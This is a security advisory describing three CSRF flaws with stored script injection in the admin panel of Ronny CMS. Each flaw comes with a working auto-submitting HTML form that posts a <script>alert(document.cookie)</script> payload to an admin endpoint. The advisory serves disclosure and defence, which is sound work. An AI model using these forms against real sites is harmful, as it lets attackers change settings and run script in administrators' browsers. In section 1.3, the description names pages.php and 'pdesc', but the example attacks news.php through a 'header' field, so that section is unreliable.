Cross-site Request Forgery (CSRF) Vulnerabilities in Ronny CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Ronny CMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Ronny CMS
1.1 The vulnerability exists due to insufficient validation of the request origin in modules/system/admin/blocksadmin/blocksadmin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the “btitle” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/system/admin.php" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="bside" value="0" />
<input type="hidden" name="bshow_template" value="standard" />
<input type="hidden" name="bcmodule[]" value="-1" />
<input type="hidden" name="bcmodule[]" value="0" />
<input type="hidden" name="bcmodule[]" value="2" />
<input type="hidden" name="bcmodule[]" value="3" />
<input type="hidden" name="bvisible" value="0" />
<input type="hidden" name="bweight" value="" />
<input type="hidden" name="btitle" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="bcontent" value="" />
<input type="hidden" name="bctype" value="H" />
<input type="hidden" name="fct" value="blocksadmin" />
<input type="hidden" name="op" value="save" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in modules/menu/admin/include/menu.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit arbitrary menu items. Due to insufficient sanitation of input data in the “name” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/menu/admin/index.php?op=saveItem" method="post" name="main" >
<input type="hidden" name="menuid" value="1" />
<input type="hidden" name="id" value="2" />
<input type="hidden" name="pid" value="0" />
<input type="hidden" name="name" value='Pages<script>alert(document.cookie)</script>' />
<input type="hidden" name="url" value="/pages/" />
<input type="hidden" name="order" value="20" />
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to insufficient validation of the request origin in modules/pages/admin/include/pages.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit articles. Due to insufficient sanitation of input data in the “pdesc” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Successful exploitation requires that victim is logged-in as an administrator.
Exploitation example:
<form action="http://host/admin/news.php?edit=NEWS_ID" method="post" name="main">
<input type="hidden" name="header" value='newsheader"><script>alert(document.cookie)</script>'>
<input type="hidden" name="message" value="message">
<input type="hidden" name="extramessage" value="extramessage">
<input type="hidden" name="newsdoing" value="Submit">
</form>
<script>
document.main.submit();
</script>
